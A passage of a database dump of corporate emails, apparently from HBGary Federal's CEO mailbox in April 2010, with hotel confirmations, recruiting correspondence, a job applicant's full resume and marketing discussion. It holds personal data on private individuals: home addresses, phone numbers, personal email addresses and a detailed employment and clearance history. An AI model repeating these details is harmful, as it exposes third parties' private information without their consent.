account\r\n\r\n\r\nReceive hotel bill by email after every stay in the USA and Canada. Sign up for eFolio.\r\nPlan Events, Earn Rewards\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMore Rewards, Faster with the Marriott Rewards® Premier Credit CardEarn an Annual Free Night Stay, 30,000 bonus points and 5 points per $1 spent at Marriott. Reward yourself. \r\nApply Now\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTravel Alerts\r\n\r\nAll rates include breakfast snacks and in-room high speed Internet access. This hotel has limited housekeeping.\r\nCurrently, passport or approved travel document are required for those traveling by air, land or sea to enter/re-enter the U.S.A. from Canada, Mexico, Bermuda, and the Caribbean. Get details\r\n\r\nPlease Note: All Marriott hotels in the USA and Canada, are committed to a smoke-free policy. Learn more\r\nThe Responsible Tourist and TravelerA practical guide to help you make your trip an enriching experience\r\nNew Requirements for Travel to the USA from Visa Waiver Program Countries. Learn more\r\n\r\n\r\nLook No Further You&#39;ve received the best possible rate - guaranteed.\r\nInternet Privacy, Authenticity and Opting Out\r\n\r\nPlease do not reply to this email. This email confirmation is an auto-generated message. Replies to automated messages are not monitored. Our Internet Customer Care team is available to assist you 24 hours per day, 7 days per week. Contact Internet Customer Care \r\nPromotional email unsubscribe\r\n\r\nPeriodically, Marriott Rewards sends email about your account balance and membership status, member exclusive specials, and other program information that may be of interest to you. If you prefer not to receive these promotional emails, you may unsubscribe here.\r\n\r\n\r\nYou can unsubscribe by regular mail, too. Send requests to the address below. Include your name, Marriott Rewards number and email address. Allow 10 business days for processing.\r\n\r\nGuest Services - Unsubscribe\r\n310 Bearcat Drive\r\nSalt Lake City, UT 84115-2544 USA\r\n\r\nPlease note: If you unsubscribe from promotional email we continue to send important, time-sensitive, transactional Marriott messages - like confirmation email - when you make reservations, use Marriott Rewards points, etc.\r\n\r\n\r\nMarriott does not share email addresses with third parties for their use.\r\nConfirmation Authenticity We&#39;re sending you this confirmation notice electronically for your convenience. Marriott keeps an official record of all electronic reservations. We honor our official record only and will disregard any alterations to this confirmation that may have been made after we sent it to you.\r\n If you have received this email in error, please let us know. Your privacy is important to us. For details, please visit our Internet Privacy Statement.\r\n\r\n\r\n \r\nTerms of Use::Internet Privacy Statement©1996-2010 Marriott International, Inc. All rights reserved. Marriott proprietary information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10512,'aaron_hbgary_com/10512.html'),(5449,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003966.M589109P14101Q304.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','Begin forwarded message:From: Dave Willson &lt;willson.david.l@gmail.com&gt;\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: HBGaryTed, Scott suggested I also send you the articles I have written.  Attached \r\nis the latest.  It was published in the Armed Forces Journal last July and then in the ISSA Journal in August.  This is the ISSA Journal version.  I am also halfway done with an article for CyberPro entitled, &quot;When Does \r\nElectronic Espionage Become an Act of War?&quot;  I also did a thesis on downstream liability after a denial of service attack if you are interested in that.\r\nDaveDavid L. Willson, Esq.CISSP, Security +719-554-2129w719-648-4176cWillson.David.L@Gmail.com\r\n----- Original Message ----- From: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;To: &lt;willson.david.l@gmail.com&gt;; &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSent: Wednesday, April 14, 2010 8:11 PMSubject: HBGaryHi David,\r\nIt was a pleasure speaking with you.  I look forward to the possibilityof establishing a consulting agreement with you to assist us with IO and\r\nforensics / incident response activities.  Attached is a recentwhitepaper we published which demonstrates our malware reverse\r\nengineering and analysis capabilities.  You can learn more about HBGaryby visiting http://www.hbgary.com\r\nPlease forward your resume at your convenience.\r\nRegards,Ted\r\n---Ted VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n\r\n',16218,'aaron_hbgary_com/16218.html'),(5450,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003967.M266606P14101Q305.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Sacramento','\r\n\r\nTownePlace Suites Sacramento Cal Expo\r\n1784 Tribute RoadSacramento, California 95815 USA\r\nPhone: 1-916-920-5400\r\nMaps &amp; Transportation\r\n\r\n\r\nUpcoming Reservations  # 85659033\r\n\r\nPlease Note –  We are 2 miles from downtown. Free local shuttle within 7 mile radius of hotel. Rates include continental breakfast.\r\nCancel entire reservation\r\n\r\n\r\n\r\n\r\n\r\nDates\r\nCheck-in:\r\nFriday, April 23, 2010\r\nCheck-out:\r\nSaturday, April 24, 2010Number of rooms: 1\r\nGuests per room: 3\r\n\r\n\r\n\r\n\r\nRoom(s)\r\n2 Bedroom Suite, Bedroom 1: Queen, Bedroom 2: Queen, Sofabed\r\nRoom details\r\n\r\n\r\n\r\n\r\nGuest Information\r\nTed Vera\r\nHBGARY FEDERAL INC.Email:  TED@HBGARY.COM\r\nPhone: 7193827773\r\nYour Rewards No. 754728749\r\n\r\n\r\n\r\nBilling Information\r\nYour reservation is guaranteed to your:\r\nMasterCard ************9904\r\n\r\n\r\n\r\n\r\nPreferences Summary\r\nThis hotel has a smoke-free policyNot Guaranteed: We&#39;ll do our best to honor these.\r\nHigh Floor Room\r\nRefrigerator\r\n\r\n\r\n\r\nSummary of Charges\r\nFriday, April 23, 2010 - Saturday, April 24, 2010 (1 night) : 129.00 USD\r\n\r\nWeekend rateEstimated government taxes and fees :16.73 USD\r\nTotal for stay (per room) : 145.73 USD\r\n\r\nADDITIONAL CHARGES\r\nComplimentary on-site parking Changes in taxes or fees implemented after booking will affect the total room price.\r\nRate Rules\r\n\r\nWeekend rateCanceling Your Reservation\r\n\r\nYou may cancel your reservation for no charge until 6:00 PM hotel time on April 23, 2010.\r\nPlease note that we will assess a fee of 145.73 USD if you must cancel after this deadline.If you have made a prepayment, we will retain all or part of your prepayment. If not, we will charge your credit card.\r\nThis fee equals 1 night of your room charge plus tax (for the first night of your reservation).\r\nModifying Your Reservation\r\nPlease note that a change in the length or dates of your reservation may result in a rate change.\r\nYour current rate may be available if your modified reservation still includes:\r\nAn arrival on Thursday or Friday or Saturday or Sunday.\r\nYour current rate may be available if your modified reservation still includes:\r\nAn overnight stay on Friday or Saturday or Sunday.\r\nThis stay will be credited to your Marriott Rewards account.\r\n',5889,'aaron_hbgary_com/5889.html'),(5451,'2010-04-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003967.M466660P14101Q306.eml','\"Ted Vera\" <tedvera@me.com>','NH Project','You know there is a way to kill that project without giving up any information.\r\n\r\nIt was acceptable open knowledge that NG was supporting that company.  If that project implemented features that we were discussing it would be feasible to sue that company for infringement.  Just saying, there are ways to make things very uncomfortable for lots of people without crossing any lines.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10479,'aaron_hbgary_com/10479.html'),(5452,'2010-04-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003967.M715399P14101Q307.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: How did the Mandiant webinar go','ok got our tickets booked. &nbsp;We will see you Friday.AaronOn Apr 17, 2010, at 4:47 PM, Greg Hoglund wrote:whenever.\r\n-G\r\nOn Sat, Apr 17, 2010 at 12:43 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nGreat. &nbsp;Which is better for u? &nbsp;I think Friday might give us more time but either will work.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:18 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nyou bet\r\n&nbsp;\r\npenny might not be here but I will be.\r\n&nbsp;\r\n-Greg\r\nOn Sat, Apr 17, 2010 at 12:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nLooking forward to talking about it. &nbsp;Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we\'d or sat. &nbsp;Can u guys get together we\'d night or Friday.\r\n\r\n\r\nAaron &nbsp;From my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nwell, best said in person but overall I\'m not scared - wasn\'t that compelling and they completely mis-represent APT.&nbsp; For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.&nbsp; Also, the MIR stuff looked pretty janky.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9028,'aaron_hbgary_com/9028.html'),(5453,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003968.M516449P14101Q308.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#fm9m5b5i6s3hgxwc','Begin forwarded message:From: &lt;chocolate_ty2000@yahoo.com&gt;\r\nDate: April 17, 2010 7:20:12 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313&nbsp; Multi-Source Intelligence Analyst&nbsp; Monster Resume #fm9m5b5i6s3hgxwc\r\nReply-To: &lt;chocolate_ty2000@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTynia Johnson \r\n2814 Captains Cove Ct\r\nEdgewood, MD  21040\r\nUS\r\nchocolate_ty2000@yahoo.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 410-903-6869  \r\nHome: \r\nWork: \r\nFax: Contact Preference: Telephone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n&nbsp;\r\n													Download Job Seeker&#39;s Word&reg; Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nfm9m5b5i6s3hgxwc&nbsp;&nbsp;&nbsp;Resume Headline: Intelligence Analyst with Masters in Cyber Security&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\nTynia R. Johnson\r\nAll Source Analyst\r\n\r\n\r\nQualifications\r\n\r\nEDUCATION\r\n:  \r\nMaster of Science in Cyber Security&ndash; Virginia College (2008)\r\nBachelors of Science in Information Technology \r\n&#8209; American Intercontinental University (2006) \r\n&nbsp;\r\n\r\nEXPERIENCE: \r\n8 Years &ndash; All Source Analyst (Military and Civilian)\r\n\r\n&nbsp;\r\nClearance:  TS/\r\nSCI Life Style Poly\r\n\r\nDeployable:  Yes \r\n\r\n\r\nDeployments: 2008\r\n\r\n\r\nBear Arms (C.2.1.a.iii):  Yes\r\n\r\n\r\nRelevant Experience\r\n\r\n\r\nSUMMARY: \r\nMrs. \r\nJohnson has served in numerous capacities as an Intelligence Analyst in the Iraqi Theatre of Operations and state side for more than eight years.  Her ability to adapt to an auste\r\nre and ever-changing atmosphere has allowed her to maintain operational continuity and priority of effort between various levels of command in a multi-agency / services Counterterrorism environment. \r\n She is currently working with JIEEDO-COIC in MND-B Comprehensive Look Team.\r\nHIGHLIGHTS OF PROFESSIONAL EXPERIENCE:\r\n\r\n&nbsp;March 2009-Present          All-Source Analyst\r\n      \r\n                          Counter IED Operations Integration Center\r\n                                Calnet Inc.\r\n                   \r\n             Reston, Virginia\r\n&nbsp;\r\nExecute duties as all-source intelligence analyst in support of the Counter IED Integration Operation Center (COIC) mission of attacking and defeating terrorist/insurgent IED networks.\r\n\r\nDraft/refine requests for support (RFS) and manage the workflow between Comprehensive Look Team (CLT), Brigade Combat Teams (BCT) and Task Force components.\r\nFunction as member of MND-B Comprehensive Look Team.\r\nPrepare and disseminate\r\n multi-layered intelligence analysis products that are timely and relevant to the warfighter facing IED and other asymmetric threats. \r\nProvide analysis to base decisions on regarding options to minimize the impact of Improvised Explosive Devices (IEDs).\r\n\r\nPerform continuous and comprehensive analysis of capabilities designed to enable the prediction, prevention, detection, neutralization and mitigation of IED activities.  \r\nEnhance the capabilities of deployed forces by conducting analysis of ground combat operations and investigating the dynamics of the ground tactical fight.  \r\n&nbsp;\r\nJuly \r\n2008-March 2009       All-Source Analyst \r\n                        Centurum Inc.\r\n\r\n                         Baghdad, Iraq\r\n                         Iraq Threat Finance Cell (ITFC)\r\n&nbsp;\r\n\r\nCollected, analyzed, and produced all-source intelligence products to identify key individuals directly involved in providing financial/logistical support to terrorist/insurgency groups operating in Iraq.\r\nAssisted Coalition Forces (CF) in exploiting financial data captured on persons in raids in Iraq and identifying trends and patterns in insurgency financing.\r\nReviewed classified daily intelligence reports to produce weekly products keeping our leadership abreast of notable reports while providing analytical assessments. \r\n\r\nPlanned, organized, and performed intelligence assessments by researching, reviewing, interpreting, evaluating and integrating All-Source and Human Intelligence data to produce questions for interrogations that lead to the production of Intelligence Information Reports (IIRs) and Summary Intelligence Reports (SIRs). \r\nWorked side by side with various government agencies to include: Federal Bureau of Investigation (FBI); United States Secret Service (USSS); United States Internal Revenue Service (IRS); Immigration and Customs Enforcement (ICE) and Department of Treasury (DoT) for interrogations of Iraqi detainees. \r\nAct as a liaison\r\n with between the Joint Interrogation Debriefing Center (JIDC) and ITFC to schedule interrogations and coordinate with special agents and interpreters between the two detention facilities. \r\nSubmitted Cryptological Support Group requests to assist in identifying social-links associated with nefarious activities assessments. \r\n\r\nProcessed financial trace requests to the Central Intelligence Agency (CIA) in order to obtain detailed information on specific individual&rsquo;s money transfers, wire-transfers, money exchanges and bank accounts.\r\nProvided analytical research for case prosecution with the Central Criminal Court of Iraq. \r\nProficient in utilizing basic computer applications and intelligence related automation to support analytical efforts and product development. Familiarization with the following platforms: CIDNE, Tripwire, DCGS-A, and M3 databases as well with Microsoft Office tools to perform daily duties. \r\n\r\n&nbsp;\r\nMarch  2008-July 2008         Awaiting Periodic Review\r\n\r\n&nbsp;\r\nDecember 2005-March 2008         Counterterrorism Analyst \r\n                           \r\nCalnet Inc.                           Mclean, VA\r\n&nbsp;\r\n\r\nComposed and edit the NCTC Threat Matrix (Terrorist Threat to US Interests Worldwide) for daily Counterterrorism briefings to senior US Government officials and support elements around the world.\r\nScanned thousands of highly sensitive intelligence reports on a daily basis and apply sound analysis and decision-making skills regarding terrorism-related threats to US interests.\r\nCoordinated with the Intelligence Community to ensure completeness of all-source reporting included in the Threat Matrix and other NCTC products.\r\n\r\nActed as a liaison between the Threat Management Group and NCTC&rsquo;s Operations Center to coordinate products.\r\n&nbsp;&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSeptember 2004-December 2005         Telecommunications Analyst\r\n                           Analytical Services\r\n                            Arlington, VA\r\n&nbsp;\r\n\r\nKey member of an Open Source Intelligence (OSINT) production team at ANSER working with a classified client in support of classified missions.Performed OSINT wireless technology assessments of high interest cities and countries worldwide, to include research, analysis, and reporting for a classified client.\r\nPerformed extensive OSINT Internet capabilities studies for high interest cities and countries for a classified client, analyzing the countries/cities ICT policies, telecommunications infrastructure, capabilities, and vulnerabilities.\r\n\r\nConducted OSINT as well and classified research of specific fixed-line, Internet, wireless and satellite telecommunications technologies. Prepared countless finished technology studies that will provide the client with a basic understanding of the technology, current deployments, and a forecast of information technologies potential growth in international markets.\r\nLead analyst utilizing databases such as NBN, SEED, and CIRAS to integrate open-source reports with classified reporting, producing finished comprehensive reports for a classified client. \r\n\r\nLead analyst producing CI threat capabilities and vulnerabilities of key areas of interest for a classified client.Extensive desktop publishing experience utilizing Microsoft Office XP and Adobe Acrobat.\r\nBecame a proficient user of the Multimedia Messenger Manager (M3), JWICS, the Information-Workspace client (IWS), Front Page 2000, Lotus Notes, Same Time, and various National Intelligence Databases.\r\n&nbsp;\r\n\r\nMarch 2004-September 2004                  Communications Installer\r\n                           Skillstorm \r\n                           Washington, DC\r\n\r\nSubcontracted to General Dynamics as an installer for secure computer lines as well as secure phones lines.\r\n&nbsp;February 2000-February 2008         All-Source Analyst\r\n\r\n                           US Army Reserve\r\n                           Ft. Meade, MD\r\nMilitary Occupations Specialty Qualified (96B).\r\nPrepared all-source intelligence products to support the commander&rsquo;s mission. \r\n\r\nAssisted in establishing and maintaining systematic, cross referenced intelligence records and files. \r\nReceived and processed incoming reports and messages. Assisted in determining the significance and reliability of incoming information. \r\nAssisted in the analysis and evaluation of intelligence holdings to determine changes in enemy capabilities, vulnerabilities, and probable courses of action. \r\n\r\nAssembled and proofread intelligence reports and assisted in consolidating them into Army intelligence documents. \r\nStored and retrieved intelligence data using computers.Spent one year as a key member of an all-source intelligence production team at CENTCOM working Operation Iraqi Freedom and Operation Enduring Freedom intelligence issues in support of the Commands decision-making process.\r\n\r\nProduced daily intelligence summaries, articles, and JICCENT special reports that were further used by CENTCOM decision makers and distributed throughout the Intelligence Community.\r\nPerformed Operations Watch duty where I analyzed trends on Iranian Ground Forces and also maintained overall situational awareness on Iran.\r\nConducted detailed trend analysis on Iranian Ground Forces while maintaining their Ground Order of Battle files.\r\n\r\nBecame a proficient user of the Multimedia Messenger Manager (M3), JWICS, Information-Workspace client (IWS), Front Page 2000, and other National Intelligence Databases.\r\nPromoted from E-4 (Specialist) to E-5 (Sergeant) within a year at CENTCOM.\r\nReceived a Joint Meritorious Award for exceptional service at CENTCOM.\r\n\r\nTRAINING:\r\nIntroduction to Open Source Information (2004)\r\n\r\nOpen Source Information (Acquisition) (2004)Computer Network Attacks (Security Procedures) (2004)\r\nNetwork Interfaces, Network Devices (2004)\r\nNetwork Fundamentals (2004)Introduction to Terrorism &ndash; Domestic Terrorism (2004)\r\n\r\nIntroduction to Terrorism &ndash; Structures and Motivations (2004)\r\nTerrorist Attack Cycles and Introduction to Islam (2004)\r\n\r\n\r\nTOOLS:\r\nExtensive use of classified and unclassified systems such as SIPRNET, NIPRNET, JWICS, Pathfinder, ArcMap, GeoBrowser, M3, Analyst Notebook, Palantir, IWS, Front Page 2000, CIDNE, Tripwire, and DCGS-A.\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n95,000.00 - 105,000.00 USD Per Year \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n5+ to 7 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\nWithin 2 weeks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nAnalyst/Researcher\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nTelecommunications ServicesStaffing/Employment AgenciesGovernment and MilitaryComputer/IT ServicesOther/Not Classified\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nSecurity/Protective ServicesMilitary Combat\r\nSecurity Intelligence &amp; AnalysisIT/Software DevelopmentComputer/Network Security\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-DC-Washington/MetroUS-MDUS-MD-BaltimoreUS-DCUS-MD-Anne Arundel CountyUS-MD-Prince George&#39;s CountyUS-MD-Columbia\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 25% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nExperience:\r\n - Present\r\nCalnet \r\n, \r\n\r\n\r\n\r\n          \r\n					Industry: Government and Military\r\n\r\n\r\n\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nLanguages:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nEnglish\r\nFluent\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',701,'aaron_hbgary_com/701.html'),(5454,'2010-04-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003968.M723685P14101Q309.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Capellini Contact Information','Begin forwarded message:From: &quot;Clinton Eads&quot; &lt;clinteads@msn.com&gt;\r\nDate: April 17, 2010 9:07:04 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Fw: Capellini Contact Information\r\n\r\n\r\nTed,\r\n \r\nThanks for the discussion we had yesterday. I \r\nfound it useful and enlightening.\r\n\r\n Your \r\nongoing efforts sound really encouraging.\r\n \r\nJust a quick re-cap of what we discussed in-case \r\nI have forgotten something.\r\nShellcode and Assembly - I have done some of this \r\nbefore, but probably not\r\non the scale that you all have.  It was done \r\nduring some work with Brian debugging with infinite loops,\r\nas we were tracing code.\r\n \r\nRecon - I will look for this, this \r\nweekend.\r\n \r\nIncident Handling - further down the road, but \r\ncould be extremely useful, and I\r\nwill start enquiring.  You mentioned a \r\nCD/DVD based book, do you happen to \r\nrecall the name?\r\n \r\nAnd, I want to thank you for keeping me in mind, \r\nin light of my current situation.\r\n \r\nI have included Brian Capellini&#39;s contact \r\ninformation, per your request,\r\n and I believe the company he works for is \r\ncalled Codeblex.  I would\r\nconfirm the name with him.\r\n \r\nSome of your ongoing research, you might want to \r\nconsider snoopstick. www.snoopstick.com\r\n \r\n\r\nMy best regards,\r\nClinton Eads\r\nH: 719-687-7641\r\nC: 719-651-5429\r\n3415 Regent Drive\r\nWoodland Park, CO 80863\r\n \r\n \r\n \r\n \r\n\r\nSubject: Capellini Contact Information\r\n\r\n -------------------------------------------------------------------\r\n\r\n\r\nAll,\r\nAs many of you already know, I’m \r\nleaving Northrop Grumman to pursue another opportunity.  I enjoyed working \r\nhere and wish you the best of luck in the future.  Here is my contact info \r\nif you need to get in touch\r\nEmail: cap3196@hotmail.com\r\nCell: \r\n703-772-8966\r\nThanks\r\nBrian\r\n\r\n',11660,'aaron_hbgary_com/11660.html'),(5455,'2010-04-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003968.M957134P14101Q310.eml','\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,chark@hbgary.com','A site that you don\'t want to be exposed on, if you comb the net for 	malware',' \r\nhttp://johannburkard.de/blog/www/spam/corporate-web-abuse-the-worst-offenders-from-cyveillance-to-picscout.html\r\n\r\n \r\nInteresting to see how some other companies are using gargoyle-like capabilities.  Shawn, make sure those don&#39;t pop out if and when we do sweeps.\r\n \r\n-Greg\r\n',6480,'aaron_hbgary_com/6480.html'),(5456,'2010-04-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003969.M176819P14101Q311.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','New Tagline Contenders (redux)',' \r\nTeam\r\nWe are trying on the &quot;Enterprise Threat Intelligence&quot; tagline, as you might have noticed.\r\n \r\nWe are down to two final contestants:\r\n \r\n&quot;Enterprise Threat Intelligence&quot;\r\n&quot;Defeat Tomorrow&#39;s Threats Today&quot;\r\n \r\nWe still have the question because we aren&#39;t sure if &quot;Enterprise Threat Intelligence&quot; will collide with feed-vendors like cyveillance.\r\n \r\n \r\n-Greg\r\n',23,'aaron_hbgary_com/23.html'),(5457,'2010-04-18','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003969.M426693P14101Q312.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','RE: New Tagline Contenders (redux)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI prefer Defeat Tomorrow&#8217;s Threats Today because it is\r\nmore action oriented.&nbsp; The people who buy our products generally have WORK\r\nto do that requires them to DO SOMETHING about a problem.&nbsp; Enterprise\r\nThreat Intelligence seems too passive. Furthermore, our customers won&#8217;t\r\nget the intelligence without doing the work or deploying the software.&nbsp;\r\nDamballa is threat intelligence &#8211; I don&#8217;t think they are doing all\r\nthat well and I wouldn&#8217;t want our messaging to be confused with theirs.\r\n\r\n&nbsp;\r\n\r\nThreat Intelligence ultimately could be a bigger story for\r\nHBGary, but this story will not resonate until our web portal is mature enough\r\nto productize and monetize it.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, April 18, 2010 12:09 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com; Karen Burke\r\nSubject: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\nWe are trying on the &quot;Enterprise Threat\r\nIntelligence&quot; tagline, as you might have noticed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are down to two final contestants:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Enterprise Threat Intelligence&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Defeat Tomorrow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe still have the question because we aren\'t sure if &quot;Enterprise\r\nThreat Intelligence&quot; will collide with feed-vendors like cyveillance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/18/10\r\n02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14951,'aaron_hbgary_com/14951.html'),(5458,'2010-04-19','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003969.M697765P14101Q313.eml','\"Aaron Barr\" <aaron@hbgary.com>','Aaron Barr, HB Gary','\r\n\r\n\r\n\r\n\r\nAaron Barr, HB Gary\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, April 20, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCO Office: 2231 Crystal Drive, Suite 900, Apache Conference Room\r\n\r\nNote: The GMT offset above does not reflect daylight saving time 